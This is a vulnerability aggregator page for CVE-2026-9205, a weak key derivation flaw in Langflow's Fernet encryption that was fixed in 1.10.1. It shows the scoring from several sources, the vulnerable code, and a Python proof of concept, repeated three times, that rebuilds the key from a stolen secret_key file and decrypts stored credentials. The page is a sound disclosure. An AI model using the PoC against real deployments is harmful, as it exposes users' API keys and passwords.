CVE-2026-9205
Langflow is affected by weaknesses in secret handling and sensitive configuration access
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- High
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
7.4
Langflow is affected by weaknesses in secret handling and sensitive configuration access
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
CVE-2026-9205- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-338
- Updated
- 2026-11-02
EUVDEUVD-2026-53547
7.4
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
EUVD-2026-53547- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9pw3-x84f-xcwf
7.4
Duplicate Advisory: Langflow: Weak Fernet Key via random.seed()
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-jxw3-mjmx-3pqm. This link is maintained to preserve external references.
Original Description
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
GHSA-9pw3-x84f-xcwf- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-338
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jxw3-mjmx-3pqm
9.1
Langflow: Weak Fernet Key via random.seed()
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
- If
len(secret_key) < 32: runrandom.seed(secret_key)→ derive identical key → decrypt all credentials instantly - If
len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
- Record
GHSA-jxw3-mjmx-3pqm- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-228
- Updated
- 2026-11-02
NVD
7.4
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
CVE-2026-9205- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Weakness
- CWE-338
- Updated
- 2026-11-02
OSV
9.8
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
CVE-2026-9205- CVSS 3.1
- 9.8 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - Updated
- 2026-11-04
OSVGHSA-9pw3-x84f-xcwf
7.4
Duplicate Advisory: Langflow: Weak Fernet Key via random.seed()
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-jxw3-mjmx-3pqm. This link is maintained to preserve external references.
Original Description
IBM Langflow OSS contains a weak cryptographic key derivation vulnerability in the ensure_fernet_key() function.
- Record
GHSA-9pw3-x84f-xcwf- CVSS 3.1
- 7.4 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-338
- Updated
- 2026-11-02
OSVGHSA-jxw3-mjmx-3pqm
9.1
Langflow: Weak Fernet Key via random.seed()
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
- If
len(secret_key) < 32: runrandom.seed(secret_key)→ derive identical key → decrypt all credentials instantly - If
len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
- Record
GHSA-jxw3-mjmx-3pqm- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-228
- Updated
- 2026-11-02
OSVPYSEC-2026-4235
9.1
Langflow: Weak Fernet Key via random.seed()
Summary
Langflow uses Python's random module (Mersenne Twister, a non-cryptographic PRNG) seeded with the SECRET_KEY to derive the Fernet encryption key for all stored user credentials (API keys, LLM provider secrets, database passwords). When the SECRET_KEY is shorter than 32 characters — a common scenario for self-hosted deployments using simple/memorable secrets — the derived encryption key is fully deterministic and reproducible by anyone who knows the seed value. An attacker who obtains the SECRET_KEY (e.g., via the MCP path traversal in this repo) can reconstruct the exact Fernet key offline and decrypt every credential stored in the database with no brute force required.
Even when SECRET_KEY is 32+ characters (the "safe" branch), the raw key material is used directly as the Fernet key — meaning exfiltrating the secret_key file is sufficient to decrypt all credentials without any additional computation.
Severity: Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1) CWE-338: Weak PRNG | CWE-321: Hard-coded Cryptographic Key | CWE-311: Missing Encryption of Sensitive Data
Details
Root cause: src/backend/base/langflow/services/auth/service.py, lines 651–663
MINIMUM_KEY_LENGTH = 32
def _ensure_valid_key(self, raw_key: str) -> bytes:
if len(raw_key) < MINIMUM_KEY_LENGTH:
random.seed(raw_key) # Non-cryptographic PRNG seeded with the secret
key = bytes(random.getrandbits(8) for _ in range(32)) # Fully deterministic output
key = base64.urlsafe_b64encode(key)
else:
key = self._add_padding(raw_key).encode() # Raw secret IS the Fernet key
return key
def _get_fernet(self) -> Fernet:
secret_key = self.settings.auth_settings.SECRET_KEY.get_secret_value()
valid_key = self._ensure_valid_key(secret_key)
return Fernet(valid_key)
The identical logic is duplicated in src/backend/base/langflow/services/auth/utils.py, lines 292–318 (called by DatabaseVariableService.create_variable and update_variable).
What is encrypted under this key:
All variables stored with type = "Credential" — this is the default for OpenAI API keys, Anthropic API keys, and any secret stored via the Variables UI or API:
# services/variable/service.py
encrypted_value = auth_utils.encrypt_api_key(value) if type_ == CREDENTIAL_TYPE else value
Why this is critical in combination with the MCP path traversal:
The secret_key file is stored at /app/data/.cache/langflow/secret_key — readable via the MCP path traversal vulnerability. Once exfiltrated:
- If
len(secret_key) < 32: runrandom.seed(secret_key)→ derive identical key → decrypt all credentials instantly - If
len(secret_key) >= 32: pad the key directly → decrypt all credentials instantly
No brute force needed in either case once the file is read.
PoC
#!/usr/bin/env python3
# Requires: pip install cryptography
import random
import base64
from cryptography.fernet import Fernet
# --- Scenario A: SHORT secret key (< 32 chars) --- triggers vulnerable PRNG branch
def decrypt_short_key(secret_key: str, ciphertext: str) -> str:
random.seed(secret_key)
key_bytes = bytes(random.getrandbits(8) for _ in range(32))
fernet_key = base64.urlsafe_b64encode(key_bytes)
return Fernet(fernet_key).decrypt(ciphertext.encode()).decode()
# --- Scenario B: LONG secret key (>= 32 chars) --- key exfiltration scenario
def decrypt_long_key(secret_key: str, ciphertext: str) -> str:
padding_needed = 4 - len(secret_key) % 4
padded = secret_key + "=" * padding_needed
return Fernet(padded.encode()).decrypt(ciphertext.encode()).decode()
# Values obtained from /app/data/.cache/langflow/secret_key (exfiltrated)
# and from SELECT value FROM variable WHERE type='Credential' in langflow.db…
- Record
PYSEC-2026-4235- CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
langflowPyPI |
through 1.10.0 | 1.10.1 |
langflowPyPI |
before 1.10.1, plus listed versions 0.0.310.0.320.0.330.0.400.0.44 Show 45 moreShow less0.0.450.0.460.0.520.0.530.0.540.0.550.0.560.0.570.0.580.0.610.0.620.0.630.0.640.0.650.0.660.0.670.0.680.0.690.0.700.0.710.0.720.0.730.0.740.0.750.0.760.0.780.0.790.0.800.0.810.0.830.0.840.0.850.0.860.0.870.0.880.0.890.1.00.1.20.1.30.1.40.1.50.1.60.1.70.2.00.2.1 |
1.10.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| facts | OSV | |
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-9205 is a high vulnerability (CVSS 7.4) in Ibm Langflow Oss, published August 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. Fixed in langflow 1.10.1.
References
ibm.com/support/pages/node/7282648
nvd.nist.gov/vuln/detail/CVE-2026-9205
github.com/langflow-ai/langflow/pull/13704
github.com/langflow-ai/langflow/commit/094694d3f20c1da499f4d8dbac15c510609e3026
github.com/advisories/GHSA-9pw3-x84f-xcwf
github.com/langflow-ai/langflow/security/advisories/GHSA-jxw3-mjmx-3pqm
github.com/advisories/GHSA-jxw3-mjmx-3pqm
github.com/langflow-ai/langflow
pypi.org/project/langflow
Left out here: 256 versions and the rest of 3 source descriptions. The JSON record has them.